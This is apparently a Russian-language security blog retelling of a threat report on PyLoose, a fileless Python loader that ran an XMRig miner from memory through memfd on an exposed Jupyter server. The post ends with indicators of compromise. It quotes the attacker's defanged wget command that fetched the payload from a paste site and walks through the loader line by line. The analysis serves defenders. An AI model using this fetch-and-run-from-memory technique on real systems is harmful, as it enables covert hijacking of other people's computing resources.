PyLoose Malware IOCs

security IOC

Wiz Threat Research недавно обнаружили новую безфайловую атаку, направленную на облачные рабочие нагрузки. Атака состоит из кода на языке Python, который загружает майнер XMRig непосредственно в память с помощью memfd - известной технологии безфайлового доступа в Linux.

Майнинг для улучшения разведки угроз: Пулы криптомайнеров

Несмотря на известность этой технологии, сообщения о новых бесфайловых атаках, направленных на облачные рабочие нагрузки, поступают редко. Фактически, последний раз о такой активности сообщалось два с половиной года назад компанией AT&T, когда TeamTNT использовала для загрузки безфайловой полезной нагрузки Ezuri, инструмент с открытым исходным кодом, написанный на языке Go. Бесфайловые атаки являются уклончивыми, поскольку не предполагают записи полезной нагрузки на диск. Эти атаки используют возможности операционной системы, такие как файловая система Linux memfd на базе оперативной памяти, что делает их трудно обнаруживаемыми с помощью традиционных решений безопасности.

PyLoose

PyLoose - это довольно простой скрипт на языке Python, содержащий сжатый и закодированный прекомпилированный майнер XMRig. Впервые он был обнаружен Wiz's Runtime Sensor 22 июня 2023 года. В тот же день скрипт был загружен на VirusTotal из Норвегии, возможно, злоумышленником или одной из жертв. На момент публикации данного отчета он имеет ноль обнаружений.

В данном инциденте жертва имела общедоступный сервис Jupyter Notebook. Хотя блокнот предназначен для выполнения кода на языке Python, в данном конкретном сервисе не удалось ограничить выполнение системных команд, в том числе через такие модули Python, как os и subprocess. Подобные среды часто ищут злоумышленники, поскольку зачастую проще просканировать Интернет в поисках общедоступных сервисов, чем вкладывать значительные средства в атаку на неизвестную цель.

Атакующий загрузил безфайловую полезную нагрузку с сайта paste.c-net.org (аналог Pastebin) [T1102] в память среды исполнения Python, выполнив HTTPS GET-запрос таким образом, чтобы избежать сохранения файла на диске. Несмотря на то что в первых попытках угроз мы наблюдали использование команды wget -O- https[://]paste[.]c-net.org/chattingloosened в большей части объема атаки они перешли на выполнение этого запроса в Python. Wiz полагают, что этот шаг был сделан скорее для упрощения, чем для уклонения или скрытности.

Скрипт сначала декодировал и распаковывал майнер XMRig, а затем загружал его непосредственно в память через дескриптор файла памяти - memfd. Содержание Python-скрипта состояло всего из 9 строк и содержало всю безфайловую полезную нагрузку, сжатую с помощью zlib и закодированную в base64.

Ниже приводится построчное описание скрипта PyLoose:

  1. Импортирует библиотеки для прямого вызова системных вызовов, выполнения команд os, операций с base64 и распаковки zlib.
  2. Загружает стандартную или используемую по умолчанию библиотеку C в системе.
  3. Использует библиотеку C для получения доступа к функции вызова syscall.
  4. Декодирует полезную нагрузку с использованием алгоритма base64 [T1140].
  5. Декомпрессирует декодированное содержимое [T1027.002].
  6. Вызывает системный вызов номер 319 с соответствующими аргументами:
    memfd_create(name="", flags=MFD_CLOSEXEC).
    Возвращаемым аргументом системного вызова является новый файловый дескриптор созданного memfd.
  7. Записывает содержимое декодированного и декомпрессированного вредоносного кода в буфер memfd.
  8. Конструирует путь к дескриптору файла memfd.
  9. Вызывает вредоносную программу непосредственно из памяти через новый memfd [T1620].
    В качестве аргумента командной строки argv[0] и единственного аргумента командной строки передается строка smd, а в качестве переменной окружения - пустой словарь {}, т.е. новая переменная окружения передаваться не будет.

Файл in-memory был быстро идентифицирован как XMRig [T1496] со встроенным конфигом v6.19.3, что является достаточно свежей версией, так как последняя доступная версия на данный момент - 6.20.0. Криптомайнер, подключенный к удаленному IPv4-адресу 51.75.64[.]249, связан с майнинговым пулом MoneroOcean.

Indicators of Compromise

IPv4

  • 51.75.64.249

IPv4 Port Combinations

  • 51.75.64.249:20128

Domains

  • gulf.moneroocean.stream
  • pool.sabu-sabu.ml
  • pool.xiao.my.id

MD5

  • 059f83f8969b09c29c95b17452718ea3
  • fec5b820594579f1088db47583d2c62d

SHA1

  • d422493b47e4798717f2b05a482c97ef9e6b74b9
  • eba82ed21b329b0955ab87b2397a949628349b3f

SHA256

  • 25232290fa9fa5529240a4e893ce206dfdcfc28d0b3a1b89389f7270f1046822
  • 935ee206846223e6d2db3f62d05101c0bea741e7b43e1b73c1eb008f947d5ff1
Добавить комментарий